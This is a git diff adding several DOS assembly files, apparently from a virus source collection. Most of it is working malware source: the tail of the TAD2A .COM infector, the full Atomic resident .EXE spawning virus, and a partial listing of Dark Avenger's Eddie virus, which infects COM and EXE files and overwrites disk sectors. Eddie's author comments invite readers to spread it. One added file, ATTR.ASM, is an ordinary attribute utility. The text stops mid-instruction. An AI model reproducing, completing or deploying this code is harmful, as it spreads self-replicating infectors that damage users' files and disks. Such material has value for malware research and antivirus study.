dx,[bp+jump] + int 21h ;Write first byte of jmp. + + mov ax,4200h + xor cx,cx + mov dx,1 ;Seek to bof+1. + int 21h + + mov ah,40h + mov cx,4 + lea dx,[bp+jmpdata] + int 21h ;And finish the jmp write. + ;(probably some anti- + ;heuristical code) + + mov ax,4200h + xor cx,cx + xor dx,dx + int 21h ;back to bof AGAIN. + + mov ax,5701h + pop dx + pop cx + int 21h ;Restore file date/time. + + mov ah,3Eh + int 21h ;Close file - infection + ;complete. + + ret + +filemask db '*.COM', 0 + +db '[TAD2A] Created by Memory Lapse of Ontario, Canada', 0Dh, 0Ah, '$' + +db '[TAD2A] The Atomic Dustbin 2A - Just Shake Your Rump!', 0Dh, 0Ah,'$' + +message db 'Fail on INT 24 .. NOT!!', 0Dh, 0Ah,'$' + +jump db 0E9h +jmpdata dw 0 + + db 'ML' + + db 00h, 00h + +restore_bytes: + int 20h + nop + nop + nop +endvirus: + end start + +; +; > ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt < +; > ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? < +; diff --git a/a/ATOMIC.ASM b/a/ATOMIC.ASM new file mode 100755 index 0000000..ed58675 --- /dev/null +++ b/a/ATOMIC.ASM @@ -0,0 +1,257 @@ +comment $ + + Atomic v1.00 + + This virus is a spawning, resident infector of .EXE + programs. Upon execution, Atomic will stay resident + in memory, and capture int 21h. Whenever it detects + an .EXE file being executed, it will create a .COM + file with the virus in the same directory, with the + same name. + + If the user tries to run an infected .EXE file, the + .COM file is run first, installing itself in memory + and spreading it yet more. (The infected .EXE files + are not actually changed.) + + On the 14th of the month, the virus will affix its + signature to three non-EXE files that are opened or + executed. The signature is just a short string that + says "Atomix v1.00 by Mnemonix." + + So here it is. Enjoy. + + MnemoniX + +$ + +_TEST_ equ 0FEEDh ; infection test +_PASS_ equ 0DEADh +SIG_LENGTH equ 31 ; length of signature + +code segment + assume cs:code,ds:code + + org 100h + +start: + jmp begin_virus + +result dw 0 +buffer dw 0 +signatures db 3 + +old_int_21 dd 0 + +signature db ' ',15,' Atomic v1.00 ',15,' by MnemoniX',0 + +exe_file db 64 dup(?) + +parm_block: +environment dw 0 +cmd_line dw 80h ; cmd line offset +cmd_line_seg dw 0 ; cmd line seg +fcb_1 dd 0 ; who cares about FCB's? +fcb_2 dd 0 + +; ======================================> +; infecting routine (int 21 handler) +; ======================================> + +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + sti + cmp ax,4B00h ; execute file? + je infect ; yes, try infecting + + cmp ah,3Dh ; open file? + je infect ; same .... + + cmp ax,_TEST_ ; check for virus in memory? + je pass_signal ; yes, give pass signal + jmp quick_exit + +pass_signal: + mov ax,_PASS_ ; give passing signal + iret ; and get out + +infect: + push ax + push bx + push cx + push dx + push di + push si + push ds + push es + + push ds + push dx ; save file name + mov ax,3D02h ; open file + call int_21 + jnc read_file ; can't open; leave + + pop dx + pop ds + jmp quit + +read_file: + mov bx,ax ; file handle in BX + + push cs + pop ds + mov dx,offset buffer ; get in 2 bytes + mov cx,2 + mov ah,3Fh + call int_21 + + mov ax,buffer + cmp ax,'ZM' ; .EXE file? + je infect_it ; yep; let's go + pop dx + pop ds + + mov ah,2Ah ; if not an .EXE, + int 21h ; check date; if 14th of + cmp dl,14 ; month, we will add a sig + je sign ; to three files regardless + jmp close + +sign: + push cs + pop ds + cmp signatures,0 ; if three sigs done already, + jne add_sig ; skip it + jmp close + +add_sig: + dec signatures + mov ax,4202h ; add sig to non-.EXE files + xor cx,cx ; on 14th of month + xor dx,dx + int 21h + + mov dx,offset signature + mov cx,SIG_LENGTH + mov ah,40h + int 21h + jmp close + +infect_it: + pop si ; get name of file + pop ds + push cs + pop es + + mov di,offset exe_file + mov cx,64 + rep movsb + + push cs ; scan for period '.' + pop ds + mov si,offset exe_file + +scan_name: + lodsb + cmp al,'.' + je add_ext + cmp al,0 ; no extension; close + je quit + jmp scan_name + +add_ext: ; add .COM extension + mov word ptr [si],'OC' + mov word ptr [si+2],'M' + + mov ah,3Eh ; close .EXE file + int 21h + + mov dx,offset exe_file ; now open file + mov ax,3D02h + call int_21 + jnc close ; if already there, skip it + cmp ax,02 + jne quit ; can't open, leave + + mov ah,3Ch ; create hidden .COM file + mov cx,2 + call int_21 + jc quit ; can't open, quit + mov bx,ax + + mov word ptr [si],'XE' ; switch back to .EXE ext. + mov word ptr [si+2],'E' + + mov dx,start ; write virus to file + mov cx,VIRUS_LENGTH + mov ah,40h + call int_21 + +close: + mov ah,3Eh + call int_21 + +quit: + pop es ; etc. + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + +quick_exit: + jmp dword ptr cs:[old_int_21] + +; ===================================> +; installation routine +; ===================================> + +begin_virus: + mov ax,_TEST_ ; test for infection + int 21h + mov result,ax ; save for later + + push cs + pop cmd_line_seg + + mov dx,offset exe_file ; run .EXE file + mov bx,offset parm_block + mov ax,4B00h + int 21h + + mov ax,result ; check for virus + cmp ax,_PASS_ ; already resident? + je exit ; if not, don't reinstall + + cli ; get old int 21 + push es + mov ax,0 + mov es,ax + mov ax,3521h + int 21h + mov w [offset old_int_21],bx + mov w [offset old_int_21+2],es + + mov ax,2521h + mov dx,offset new_int_21 ; set new int 21 + int 21h + + mov dx,PROGRAM + 100h ; TSR call - install virus + int 27h + +exit: + mov ah,4Ch + int 21h + +PROGRAM: + +VIRUS_LENGTH equ PROGRAM - start + + code ends + end start diff --git a/a/ATTR.ASM b/a/ATTR.ASM new file mode 100755 index 0000000..dd70a74 --- /dev/null +++ b/a/ATTR.ASM @@ -0,0 +1,216 @@ +; ATTR.ASM -- File Attribute Utility +; ================================== + +CSEG Segment + Assume CS:CSEG, DS:CSEG, ES:CSEG, SS:CSEG + Org 0080h +Parameter Label Byte ; Parameter is here + Org 0100h +Entry: Jmp Begin ; Entry Point + +; Most Data (some more at end of program) +; --------------------------------------- + + db "ATTR (C) 1986, Ziff-Davis Publishing Co.",1Ah + db " Programmed by Charles Petzold ",1Ah +SyntaxMsg db "Syntax: ATTR [+A|-A] [+S|-S] [+H|-H] [+R|-R] " + db "[drive:][path]filename",13,10 + db " Archive System Hidden Read-Only$" +DosVersMsg db "ATTR: Needs DOS 2.0 +$" +FlagErrMsg db "ATTR: Incorrect flag$" +FileSpecMsg db "ATTR: Incorrect File Spec$" +Delimiters db 9,' ,;=',13 +FlagList db "ASHR", 20h, 04h, 02h, 01h +AllFlagList db " $Arc $Dir $$$$$$Sys $Hid $R-O$" +ChangeFlag db 0 +AndAttrBits db 0 +OrAttrBits db 0 +SearchString dw ? +AppendFileName dw ? + +; Check DOS Version +; ----------------- + +Begin: Mov AH, 30h ; Check for DOS Version + Int 21h ; through DOS call + Cmp AL, 2 ; See if it's 2.0 or above + Jae DosVersOK ; If so, continue + + Mov DX, Offset DosVersMsg ; Error message +ErrorExit: Mov AH, 9 ; Print String function call + Int 21h ; Do it + Int 20h ; And exit prematurely + +; Parse Command Line to get file specification +; -------------------------------------------- + +DosVersOK: Mov SI, 1+Offset Parameter ; Parameter string pointer + Cld ; Directions forward + +FlagSearch: Lodsb ; Get Byte + Mov DI, Offset Delimiters ; Check if delimiter + Mov CX, 5 ; Five delimiters to check + Repne Scasb ; Scan the string + Je FlagSearch ; If delimiter, circle back + Mov DX, Offset SyntaxMsg ; Possible error msg + Cmp AL, 13 ; If carriage return, no file + Je ErrorExit ; so exit with message + + Mov DI, Offset OrAttrBits ; Pointer to plus flag saver + Cmp AL, '+' ; See if plus sign + Je PlusOrMinus ; If so, save the bit + Mov DI, Offset AndAttrBits ; Pointer to minus flag saver + Cmp AL, '-' ; See if minus sign + Jne MustBeFile ; If not, it must be file name + +PlusOrMinus: Mov [ChangeFlag],-1 ; Set for changing + Lodsb ; Get the next byte + And AL, 0DFh ; Capitalize it + Mov BX, Offset FlagList ; List for scanning + Mov CX, 4 ; Scan for A, S, H, and R + +SearchList: Cmp AL, [BX] ; See if a match + Jz FoundFlag ; If so, proceed to save + Inc BX ; Kick up pointer + Loop SearchList ; And loop around for next + Mov DX, Offset FlagErrMsg ; Otherwise, set message + Jmp ErrorExit ; And terminate + +FoundFlag: Mov AL, [BX + 4] ; Get bit mask + Or [DI], AL ; Turn saved bit on + Jmp FlagSearch ; And continue looking + +MustBeFile: Not [AndAttrBits] ; Invert bits for turn off + Mov [SearchString], SI ; Save file name pointer + Dec [SearchString] ; Actually one byte lower + +EndSearch: Lodsb ; Get Byte + Mov DI, Offset Delimiters ; Check if delimiter + Mov CX, 6 ; Six delimiters including CR + Repne Scasb ; Scan the string + Jne EndSearch ; If not delimiter, keep going + +; Transfer Search String down at end of program +; --------------------------------------------- + + Dec SI ; Points after file spec + Mov Byte Ptr [SI], 0 ; Make it ASCIIZ string + Mov CX, SI ; CX points to end + Mov SI, [SearchString] ; SI points to beginning + Sub CX, SI ; Now CX is length of it + Mov DI, Offset PathAndFile ; Destination of string + Mov [AppendFileName], DI ; Save it here also + +SearchTrans: Lodsb ; Get byte of search string + Stosb ; And save it down below + Cmp AL, ':' ; See if drive marker + Je PossibleEnd ; If so, take note of it + Cmp AL, '\' ; See if path separator + Jne NextCharacter ; If not, skip next code + +PossibleEnd: Mov [AppendFileName], DI ; This is the new end +NextCharacter: Loop SearchTrans ; Do it again until done + +; Find Files from Search String +; ----------------------------- + + Mov DX, Offset DTABuffer ; Set File Find buffer + Mov AH, 1Ah ; by calling DOS + Int 21h + + Mov DX, [SearchString] ; Search string + Mov CX, 16h ; Search Everything + Mov AH, 4Eh ; Find first file + +FindFile: Int 21h ; Call DOS to find file + Jnc Continue ; If no error continue + Cmp AX, 18 ; If not "no more files" error + Jnz FindError ; print error message + Jmp NoMoreFiles ; Now get out of the loop + +FindError: Mov DX, Offset FileSpecMsg ; Error message for file spec + Jmp ErrorExit ; Exit and print message + +Continue: Mov SI, 30+Offset DTABuffer ; Points to filename + Cmp Byte Ptr [SI], '.' ; See if "dot" entry + Jnz FileIsOK ; If not, continue + Jmp FindNextFile ; If so, skip it + +FileIsOK: Mov DI, [AppendFileName] ; Destination of file name + Mov CX, 14 ; Number of bytes to display + +TransferName: Lodsb ; Get the byte in file name + Stosb ; Save it + Or AL, AL ; See if terminating zero + Jz PadWithBlanks ; If so, display blanks + Call DisplayChar ; Display the character + Loop TransferName ; And loop back around + +PadWithBlanks: Mov AL, ' ' ; Pad names with blanks + Call DisplayChar + Loop PadWithBlanks ; And loop until CX is zero + +; Change And Display File Attributes +; ---------------------------------- + + Mov DX, Offset PathAndFile ; Points to ASCIIZ string + Test [ChangeFlag], -1 ; See if changing attributes + Jz DisplayIt ; If not, just display them + + Mov AX, 4300h ; Get file attribute + Int 21h ; by calling DOS + And CL, 27h ; Zero out some bits + And CL, [AndAttrBits] ; Turn off some bits + Or CL, [OrAttrBits] ; Turn on some bits + Mov AX, 4301h ; Set file attribute + Int 21h ; by calling DOS + +DisplayIt: Mov AX, 4300h ; Get file attribute + Int 21h ; by calling DOS + Mov BL, CL ; BL is attributes + Or BL, 08h ; Turn on Volume bit + Shl BL, 1 ; Shift to get rid of + Shl BL, 1 ; unused bits + Mov CX, 6 ; Number of bits left + Mov DX, 5+Offset AllFlagList; Storage of abbreviations + +AttrListLoop: Push DX ; Save abbreviation pointer + Shl BL, 1 ; Shift bit into carry + Jc FlagIsOn ; See if it's on + Mov DX, Offset AllFlagList ; If not, print blanks + +FlagIsOn: Mov AH, 9 ; Print string + Int 21h ; by calling DOS + Pop DX ; Get back abbreviation ptr + Add DX, 5 ; Kick up for next bit + Loop AttrListLoop ; And loop around + Mov AL, 13 ; Print carriage return + Call DisplayChar + Mov AL, 10 ; Print line feed + Call DisplayChar + +FindNextFile: Mov AH, 4Fh ; Find next file + Jmp FindFile ; By looping around + +NoMoreFiles: Int 20h ; Terminate + +; SUBROUTINE: Display Character in AL +; ----------------------------------- + +DisplayChar: Push AX + Push DX + Mov DL, AL ; Move character to DL + Mov AH, 2 ; Display it + Int 21h ; by calling DOS + Pop DX + Pop AX + Ret + +; Some data stored at end to cut down COM size +; -------------------------------------------- + +DTABuffer Label Byte ; For file find calls +PathAndFile equ DTABuffer + 43 ; For file path and name +CSEG EndS ; End of the segment + End Entry ; Denotes entry point + \ No newline at end of file diff --git a/a/AVENGSRC (23).ASM b/a/AVENGSRC (23).ASM new file mode 100755 index 0000000..a1cb9ff --- /dev/null +++ b/a/AVENGSRC (23).ASM @@ -0,0 +1,999 @@ + + +Ok PAUL, Here is the file you requested, + + + +;************************ +;* * +;* E D D I E * +;* * +;* by Dark Avenger * +;* * +;* 3-JAN-1989 * +;* * +;* version 1.31x * +;* * +;************************ + +; "Blessed is he who expects nothing, for he shall not be disappointed." + +; The original source of one of the first Bulgarian viruses is in front of +; you. As you may notice, it's full of rubbish and bugs, but nevertheless +; the virus has spread surprisingly quickly troughout the country and made a +; quick round the globe. (It's well-known in Eastern and Western Europe, as +; well as in USA.) Due to the aniversary of its creation, the source is +; distributed freely. You have the rights to distribute the source which can +; be charged or free of charge, with the only condition not to modify it. +; The one, who intentionaly distributes this source modified in any way will +; be punished! Still, the author will be glad if any of you improves it and +; spreads the resulting executive file (i.e., the virus itself). Pay +; attention to the fact that after you assemble the source, the resulting +; .COM-file cannot be run. For that purpose you have to create a three-byte +; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the +; two files. Don't try to place a JMP at the beginning of the source. + +; DISCLAIMER: The author does not take any responsability for any damage, +; either direct or implied, caused by the usage or not of this source or of +; the resulting code after assembly. No warrant is made about the product +; functionability or quality. + +; I cannot resist to express my special gratitude to my "populazer" Dipl. +; eng. Vesselin Bontchev, who makes me famous and who, wishing it or +; not, helps very much in the spreading of my viruses, in spite of the fact +; that he tries to do just the opposite (writing programs in C has never +; led to any good). +; Greetings to all virus writers! + +code segment + assume cs:code,ds:code +copyright: + db 'Eddie lives...somewhere in time!',0 +date_stamp: + dd 12239000h +checksum: + db 30 + +; Return the control to an .EXE file: +; Restores DS=ES=PSP, loads SS:SP and CS:IP. + + + + + +exit_exe: + mov bx,es + add bx,10h + add bx,word ptr cs:[si+call_adr+2] + mov word ptr cs:[si+patch+2],bx + mov bx,word ptr cs:[si+call_adr] + mov word ptr cs:[si+patch],bx + mov bx,es + add bx,10h + add bx,word ptr cs:[si+stack_pointer+2] + mov ss,bx + mov sp,word ptr cs:[si+stack_pointer] + db 0eah ;JMP XXXX:YYYY +patch: + dd 0 + +; Returns control to a .COM file: +; Restores the first 3 bytes in the +; beginning of the file, loads SP and IP. + +exit_com: + + + + + mov di,100h + add si,offset my_save + movsb + movsw + mov sp,ds:[6] ;This is incorrect + xor bx,bx + push bx + jmp [si-11] ;si+call_adr-top_file + +; Program entry point + +startup: + call relative +relative: + pop si ;SI = $ + sub si,offset relative + cld + cmp word ptr cs:[si+my_save],5a4dh + je exe_ok + cli + mov sp,si ;A separate stack is supported for + add sp,offset top_file+100h ;the .COM files, in order not to + sti ;overlap the stack by the program + cmp sp,ds:[6] + jnc exit_com +exe_ok: + push ax + push es + push si + push ds + mov di,si + +; Looking for the address of INT 13h handler in ROM-BIOS + + xor ax,ax + push ax + mov ds,ax + les ax,ds:[13h*4] + mov word ptr cs:[si+fdisk],ax + mov word ptr cs:[si+fdisk+2],es + mov word ptr cs:[si+disk],ax + mov word ptr cs:[si+disk+2],es + mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h + cmp ax,0f000h ;for diskettes if a hard disk is + jne nofdisk ;available + mov word ptr cs:[si+disk+2],ax + mov ax,ds:[40h*4] + mov word ptr cs:[si+disk],ax + mov dl,80h + mov ax,ds:[41h*4+2] ;INT 41h usually points the segment, + cmp ax,0f000h ;where the original INT 13h vector is + je isfdisk + cmp ah,0c8h + jc nofdisk + cmp ah,0f4h + jnc nofdisk + test al,7fh + jnz nofdisk + mov ds,ax + cmp ds:[0],0aa55h + jne nofdisk + mov dl,ds:[2] +isfdisk: + mov ds,ax + xor dh,dh + mov cl,9 + shl dx,cl + mov cx,dx + xor si,si +findvect: + lodsw ;Occasionally begins with: + cmp ax,0fa80h ; CMP DL,80h + jne altchk ; JNC somewhere + lodsw + cmp ax,7380h + je intchk + jne nxt0 +altchk: + cmp ax,0c2f6h ;or with: + jne nxt ; TEST DL,80h + lodsw ; JNZ somewhere + cmp ax,7580h + jne nxt0 +intchk: + inc si ;then there is: + lodsw ; INT 40h + cmp ax,40cdh + je found + sub si,3 +nxt0: + dec si + dec si +nxt: + dec si + loop findvect + jmp short nofdisk +found: + sub si,7 + mov word ptr cs:[di+fdisk],si + mov word ptr cs:[di+fdisk+2],ds +nofdisk: + mov si,di + pop ds + +; Check whether the program is present in memory: + + les ax,ds:[21h*4] + mov word ptr cs:[si+save_int_21],ax + mov word ptr cs:[si+save_int_21+2],es + push cs + pop ds + cmp ax,offset int_21 + jne bad_func + xor di,di + mov cx,offset my_size +scan_func: + lodsb + scasb + jne bad_func + loop scan_func + pop es + jmp go_program + +; Move the program to the top of memory: +; (it's full of rubbish and bugs here) + +bad_func: + pop es + mov ah,49h + int 21h + mov bx,0ffffh + mov ah,48h + int 21h + sub bx,(top_bz+my_bz+1ch-1)/16+2 + jc go_program + mov cx,es + stc + adc cx,bx + mov ah,4ah + int 21h + mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1 + stc + sbb es:[2],bx + push es + mov es,cx + mov ah,4ah + int 21h + mov ax,es + dec ax + mov ds,ax + mov word ptr ds:[1],8 + call mul_16 + mov bx,ax + mov cx,dx + pop ds + mov ax,ds + call mul_16 + add ax,ds:[6] + adc dx,0 + sub ax,bx + sbb dx,cx + jc mem_ok + sub ds:[6],ax ;Reduction of the segment size +mem_ok: + pop si + push si + push ds + push cs + xor di,di + mov ds,di + lds ax,ds:[27h*4] + mov word ptr cs:[si+save_int_27],ax + mov word ptr cs:[si+save_int_27+2],ds + pop ds + mov cx,offset aux_size + rep movsb + xor ax,ax + mov ds,ax + mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h + mov ds:[21h*4+2],es + mov ds:[27h*4],offset int_27 + mov ds:[27h*4+2],es + mov word ptr es:[filehndl],ax + pop es +go_program: + pop si + +; Smash the next disk sector: + + xor ax,ax + mov ds,ax + mov ax,ds:[13h*4] + mov word ptr cs:[si+save_int_13],ax + mov ax,ds:[13h*4+2] + mov word ptr cs:[si+save_int_13+2],ax + mov ds:[13h*4],offset int_13 + add ds:[13h*4],si + mov ds:[13h*4+2],cs + pop ds + push ds + push si + mov bx,si + lds ax,ds:[2ah] + xor si,si + mov dx,si +scan_envir: ;Fetch program's name + lodsw ;(with DOS 2.x it doesn't work anyway) + dec si + test ax,ax + jnz scan_envir + add si,3 + lodsb + +; The following instruction is a complete nonsense. Try to enter a drive & +; directory path in lowercase, then run an infected program from there. +; As a result of an error here + an error in DOS the next sector is not +; smashed. Two memory bytes are smashed instead, most probably onto the +; infected program. + + sub al,'A' + mov cx,1 + push cs + pop ds + add bx,offset int_27 + push ax + push bx + push cx + int 25h + pop ax + pop cx + pop bx + inc byte ptr [bx+0ah] + and byte ptr [bx+0ah],0fh ;It seems that 15 times doing + jnz store_sec ;nothing is not enough for some. + mov al,[bx+10h] + xor ah,ah + mul word ptr [bx+16h] + add ax,[bx+0eh] + push ax + mov ax,[bx+11h] + mov dx,32 + mul dx + div word ptr [bx+0bh] + pop dx + add dx,ax + mov ax,[bx+8] + add ax,40h + cmp ax,[bx+13h] + jc store_new + inc ax + and ax,3fh + add ax,dx + cmp ax,[bx+13h] + jnc small_disk +store_new: + mov [bx+8],ax +store_sec: + pop ax + xor dx,dx + push ax + push bx + push cx + int 26h + + +; The writing trough this interrupt is not the smartest thing, bacause it +; can be intercepted (what Vesselin Bontchev has managed to notice). + + pop ax + pop cx + pop bx + pop ax + cmp byte ptr [bx+0ah],0 + jne not_now + mov dx,[bx+8] + pop bx + push bx + int 26h +small_disk: + pop ax +not_now: + pop si + xor ax,ax + mov ds,ax + mov ax,word ptr cs:[si+save_int_13] + mov ds:[13h*4],ax + mov ax,word ptr cs:[si+save_int_13+2] + mov ds:[13h*4+2],ax + pop ds + pop ax + cmp word ptr cs:[si+my_save],5a4dh + jne go_exit_com + jmp exit_exe +go_exit_com: + jmp exit_com +int_24: + mov al,3 ;This instruction seems unnecessary + iret + +; INT 27h handler (this is necessary) + +int_27: + pushf + call alloc + popf + jmp dword ptr cs:[save_int_27] + +; During the DOS functions Set & Get Vector it seems that the virus has not +; intercepted them (this is a doubtfull advantage and it is a possible +; source of errors with some "intelligent" programs) + +set_int_27: + mov word ptr cs:[save_int_27],dx + mov word ptr cs:[save_int_27+2],ds + popf + iret +set_int_21: + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + popf + iret +get_int_27: + les bx,dword ptr cs:[save_int_27] + popf + iret +get_int_21: + les bx,dword ptr cs:[save_int_21] + popf + iret + +exec: + + + call do_file + call alloc + popf + jmp dword ptr cs:[save_int_21] + + db 'Diana P.',0 + +; INT 21h handler. Infects files during execution, copying, browsing or +; creating and some other operations. The execution of functions 0 and 26h +; has bad consequences. + +int_21: + push bp + mov bp,sp + push [bp+6] + popf + pop bp + pushf + call ontop + cmp ax,2521h + je set_int_21 + cmp ax,2527h + je set_int_27 + cmp ax,3521h + je get_int_21 + cmp ax,3527h + je get_int_27 + cld + cmp ax,4b00h + je exec + cmp ah,3ch + je create + cmp ah,3eh + je close + cmp ah,5bh + jne not_create +create: + cmp word ptr cs:[filehndl],0;May be 0 if the file is open + jne dont_touch + call see_name + jnz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,offset filehndl + stosw + mov si,dx + mov cx,65 +move_name: + lodsb + stosb + test al,al + jz all_ok + loop move_name + mov word ptr es:[filehndl],cx +all_ok: + pop ax + pop cx + pop di + pop si + pop es +go_exit: + popf + jnc int_exit ;JMP +close: + cmp bx,word ptr cs:[filehndl] + jne dont_touch + test bx,bx + jz dont_touch + call alloc + popf + call function + jc int_exit + pushf + push ds + push cs + pop ds + push dx + mov dx,offset filehndl+2 + call do_file + mov word ptr cs:[filehndl],0 + pop dx + pop ds + jmp go_exit +not_create: + cmp ah,3dh + je touch + cmp ah,43h + je touch + cmp ah,56h ;Unfortunately, the command inter- + jne dont_touch ;preter does not use this function +touch: + call see_name + jnz dont_touch + call do_file +dont_touch: + call alloc + popf + call function +int_exit: + pushf + push ds + call get_chain + mov byte ptr ds:[0],'Z' + pop ds + popf +dummy proc far ;??? + ret 2 +dummy endp + +; Checks whether the file is .COM or .EXE. +; It is not called upon file execution. + +see_name: + push ax + push si + mov si,dx +scan_name: + lodsb + test al,al + jz bad_name + cmp al,'.' + jnz scan_name + call get_byte + mov ah,al + call get_byte + cmp ax,'co' + jz pos_com + cmp ax,'ex' + jnz good_name + call get_byte + cmp al,'e' + jmp short good_name +pos_com: + call get_byte + cmp al,'m' + jmp short good_name +bad_name: + inc al +good_name: + pop si + pop ax + ret + +; Converts into lowercase (the subroutines are a great thing). + +get_byte: + lodsb + cmp al,'C' + jc byte_got + cmp al,'Y' + jnc byte_got + add al,20h +byte_got: + ret + +; Calls the original INT 21h. + +function: + pushf + call dword ptr cs:[save_int_21] + ret + +; Arrange to infect an executable file. + +do_file: + push ds ;Save the registers in stack + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax + mov ds,ax + les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack + push es ;and changes them with what is needed + push ax + mov ds:[24h*4],offset int_24 + mov ds:[24h*4+2],cs + les ax,ds:[13h*4] + mov word ptr cs:[save_int_13],ax + mov word ptr cs:[save_int_13+2],es + mov ds:[13h*4],offset int_13 + mov ds:[13h*4+2],cs + push es + push ax + mov ds,si + xor cx,cx ;Arranges to infect Read-only files + mov ax,4300h + call function + mov bx,cx + and cl,0feh + cmp cl,bl + je dont_change + mov ax,4301h + call function + stc +dont_change: + pushf + push ds + push dx + push bx + mov ax,3d02h ;Now we can safely open the file + call function + jc cant_open + mov bx,ax + call disease + mov ah,3eh ;Close it + + call function +cant_open: + pop cx + pop dx + pop ds + popf + jnc no_update + mov ax,4301h ;Restores file's attributes + call function ;if they were changed (just in case) +no_update: + xor ax,ax ;Restores INT 13h and INT 24h + mov ds,ax + pop ds:[13h*4] + pop ds:[13h*4+2] + pop ds:[24h*4] + pop ds:[24h*4+2] + pop dx ;Register restoration + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret + +; This routine is the working horse. + +disease: + push cs + pop ds + push cs + pop es + mov dx,offset top_save ;Read the file beginning + mov cx,18h + mov ah,3fh + int 21h + xor cx,cx + xor dx,dx + mov ax,4202h ;Save file length + int 21h + mov word ptr [top_save+1ah],dx + cmp ax,offset my_size ;This should be top_file + sbb dx,0 + jc stop_fuck_2 ;Small files are not infected + mov word ptr [top_save+18h],ax + cmp word ptr [top_save],5a4dh + jne com_file + mov ax,word ptr [top_save+8] + add ax,word ptr [top_save+16h] + call mul_16 + add ax,word ptr [top_save+14h] + adc dx,0 + mov cx,dx + mov dx,ax + jmp short see_sick +com_file: + cmp byte ptr [top_save],0e9h + jne see_fuck + mov dx,word ptr [top_save+1] + add dx,103h + jc see_fuck + dec dh + xor cx,cx + +; Check if the file is properly infected + + +see_sick: + sub dx,startup-copyright + sbb cx,0 + mov ax,4200h + int 21h + add ax,offset top_file + adc dx,0 + cmp ax,word ptr [top_save+18h] + jne see_fuck + cmp dx,word ptr [top_save+1ah] + jne see_fuck + mov dx,offset top_save+1ch + mov si,dx + mov cx,offset my_size + mov ah,3fh + int 21h + jc see_fuck + cmp cx,ax + jne see_fuck + xor di,di +next_byte: + + lodsb + scasb + jne see_fuck + loop next_byte +stop_fuck_2: + ret +see_fuck: + xor cx,cx ;Seek to the end of file + xor dx,dx + mov ax,4202h + int 21h + cmp word ptr [top_save],5a4dh + je fuck_exe + add ax,offset aux_size+200h ;Watch out for too big .COM files + adc dx,0 + je fuck_it + ret + +; Pad .EXE files to paragraph boundary. This is absolutely unnecessary. + +fuck_exe: + mov dx,word ptr [top_save+18h] + neg dl + and dx,0fh + xor cx,cx + mov ax,4201h + int 21h + mov word ptr [top_save+18h],ax + mov word ptr [top_save+1ah],dx +fuck_it: + mov ax,5700h ;Get file's date + int 21h + pushf + push cx + push dx + cmp word ptr [top_save],5a4dh + je exe_file ;Very clever, isn't it? + mov ax,100h + jmp short set_adr +exe_file: + mov ax,word ptr [top_save+14h] + mov dx,word ptr [top_save+16h] +set_adr: + mov di,offset call_adr + stosw + mov ax,dx + stosw + mov ax,word ptr [top_save+10h] + stosw + mov ax,word ptr [top_save+0eh] + stosw + mov si,offset top_save ;This offers the possibilities to + movsb ;some nasty programs to restore + movsw ;exactly the original length + xor dx,dx ;of the .EXE files + mov cx,offset top_file + mov ah,40h + int 21h ;Write the virus + jc go_no_fuck ;(don't trace here) + xor cx,ax + jnz go_no_fuck + mov dx,cx + mov ax,4200h + int 21h + cmp word ptr [top_save],5a4dh + je do_exe + mov byte ptr [top_save],0e9h + mov ax,word ptr [top_save+18h] + add ax,startup-copyright-3 + mov word ptr [top_save+1],ax + mov cx,3 + jmp short write_header +go_no_fuck: + jmp short no_fuck + +; Construct the .EXE file's header + +do_exe: + call mul_hdr + not ax + not dx + inc ax + jne calc_offs + inc dx +calc_offs: + add ax,word ptr [top_save+18h] + adc dx,word ptr [top_save+1ah] + mov cx,10h + div cx + mov word ptr [top_save+14h],startup-copyright + mov word ptr [top_save+16h],ax + add ax,(offset top_file-offset copyright-1)/16+1 + mov word ptr [top_save+0eh],ax + mov word ptr [top_save+10h],100h + add word ptr [top_save+18h],offset top_file + adc word ptr [top_save+1ah],0 + mov ax,word ptr [top_save+18h] + and ax,1ffh + mov word ptr [top_save+2],ax + pushf + mov ax,word ptr [top_save+19h] + shr byte ptr [top_save+1bh],1 + rcr ax,1 + popf + jz update_len + inc ax +update_len: + mov word ptr [top_save+4],ax + mov cx,18h +write_header: + mov dx,offset top_save + mov ah,40h + int 21h ;Write the file beginning +no_fuck: + pop dx + pop cx + popf + jc stop_fuck + mov ax,5701h ;Restore the original file date + int 21h +stop_fuck: + ret + +; The following is used by the INT 21h and INT 27h handlers in connection +; to the program hiding in memory from those who don't need to see it. +; The whole system is absurde and meaningless and it is also another source +; for program conflicts. + +alloc: + push ds + call get_chain + mov byte ptr ds:[0],'M' + pop ds + +; Assures that the program is the first one in the processes, +; which have intercepted INT 21h (yet another source of conflicts). + +ontop: + push ds + push ax + push bx + push dx + xor bx,bx + mov ds,bx + lds dx,ds:[21h*4] + cmp dx,offset int_21 + jne search_segment + mov ax,ds + mov bx,cs + cmp ax,bx + je test_complete + +; Searches the segment of the sucker who has intercepted INT 21h, in +; order to find where it has stored the old values and to replace them. +; Nothing is done for INT 27h. + + xor bx,bx +search_segment: + mov ax,[bx] + cmp ax,offset int_21 + jne search_next + mov ax,cs + cmp ax,[bx+2] + je got_him +search_next: + inc bx + jne search_segment + je return_control +got_him: + mov ax,word ptr cs:[save_int_21] + mov [bx],ax + mov ax,word ptr cs:[save_int_21+2] + mov [bx+2],ax + mov word ptr cs:[save_int_21],dx + mov word ptr cs:[save_int_21+2],ds + xor bx,bx + +; Even if he has not saved them in the same segment, this won't help him. + +return_control: + mov ds,bx + mov ds:[21h*4],offset int_21 + mov ds:[21h*4+2],cs +test_complete: + pop dx + pop bx + pop ax + pop ds + ret + +; Fetch the segment of the last MCB + +get_chain: + push ax + push bx + mov ah,62h + call function + mov ax,cs + dec ax + dec bx +next_blk: + mov ds,bx + stc + adc bx,ds:[3] + cmp bx,ax + jc next_blk + pop bx + pop ax + ret + +; Multiply by 16 + +mul_hdr: + mov ax,word ptr 